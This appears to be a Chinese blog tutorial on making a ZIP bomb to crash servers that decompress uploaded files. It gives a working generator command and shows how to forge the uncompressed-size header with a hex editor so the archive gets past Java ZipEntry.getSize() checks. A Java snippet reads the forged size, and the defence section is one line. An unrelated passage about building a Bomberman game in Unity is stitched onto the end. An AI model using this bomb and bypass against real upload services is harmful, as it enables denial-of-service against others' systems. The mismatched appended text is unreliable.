压缩炸弹(zipbomb)制作(附演示)

最近看到资料有说到ZIP炸弹,主要在存在上传功能且对上传文件有解压动作的地方,如果校验不严,可能导致压缩炸弹,导致消耗CPU导致宕机

1、生成ZIP炸弹:

https://github.com/CreeperKong/zipbomb-generator

python3 zipbomb.py --mode=quoted_overlap --num-files=250 --compressed-size=21179 > zbsm.zip

–num-files :压缩包包含的文件数量

–compressed-size:文件压缩大小
在这里插入图片描述
可以看到生成了一个zbsm.zip的压缩包,其中包含250个约20M大小的子文件,全部解压出来即有5G的大小,如果可以重放,则瞬间可填满硬盘
在这里插入图片描述
使用脚本查看解压后的大小:
在这里插入图片描述
linux下还可以使用dd命令 以及bzip2命令

2、场景:

有些上传处使用了如:

Java.util.jar.jarfile

Java.util.zip.Zipfile

通过 java.util.zip.ZipEntry.getSize()获取解压后的大小,可使用010editor对zip文件进行编辑:

在这里插入图片描述
struct ZIPFILERECORD record 为文件名;
uint frUncompressedSize为解压后的文件大小;

此处我们对uint frUncompressedSize进行修改,可绕过对解压后实际大小的判断:

如,我们修改uint frUncompressedSize大小为111:

在这里插入图片描述
利用java.util.zip进行解压后文件大小判断:

(java代码渣,求勿喷)

import java.io.*;
import java.util.zip.ZipEntry;
import java.util.zip.*;
public class Main {

    public static void main(String[] args) {
        File mfile = new  File("D:/05-MY-PROGRAM/m_java/zipboom/zbsm.zip");
        try {
            ZipFile zipFile = new  ZipFile(mfile);
            InputStream in=new BufferedInputStream(new FileInputStream(mfile));
            ZipInputStream zin=new ZipInputStream(in);
            ZipEntry ze;
            ze=zin.getNextEntry();
            System.out.println("ZIP'Size is :" + ze.getSize());
        }catch (Exception  e)
        {
            e.getStackTrace();
        }

    }
}

在这里插入图片描述
3、防御:

对上传zip文件进行文件个数、文件大小等进行判断

另参考:

https://www.bamsoftware.com/hacks/zipbomb/

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Unity是一款跨平台的游戏开发引擎,可以用来制作各种类型的游戏,包括3D炸弹人。 首先,我们需要使用Unity的3D建模工具来创建炸弹人的角色模型。我们可以使用简单的几何图形,如立方体和球体,来构建角色的身体、头部、四肢等部分。然后,我们可以为角色添加纹理和材质,使其看起来更加逼真。 接下来,我们需要为炸弹人添加动画。Unity提供了强大的动画制作工具,可以使角色能够行走、跳跃、爆炸等。我们可以使用关键帧动画或骨骼动画来实现这些动作,从而让角色在游戏中能够有生动的表现。 然后,我们需要创建游戏的场景。可以使用Unity提供的场景编辑器,通过添加地图和障碍物来设计游戏背景。我们可以设置每个障碍物的属性,如是否可以被炸毁、是否可以被穿过等。 接着,我们需要为游戏添加一些规则和机制。例如,当炸弹人触碰到炸弹时会触发爆炸,炸弹的爆炸范围内的障碍物会被摧毁,等等。通过使用Unity的脚本编程功能,我们可以为角色和物体添加交互逻辑,从而让游戏更加有趣和挑战。 最后,我们需要为游戏增加音效和背景音乐,以及一些界面和用户操作的元素。可以使用Unity的音频编辑器来添加音效,通过添加按钮、计分牌等UI元素来增强游戏的可玩性。 总之,利用Unity制作3D炸弹人需要进行模型建立、动画制作、场景设计、脚本编程以及音效等方面的工作,但凭借Unity强大的功能和友好的用户界面,我们可以相对容易地完成这个任务。
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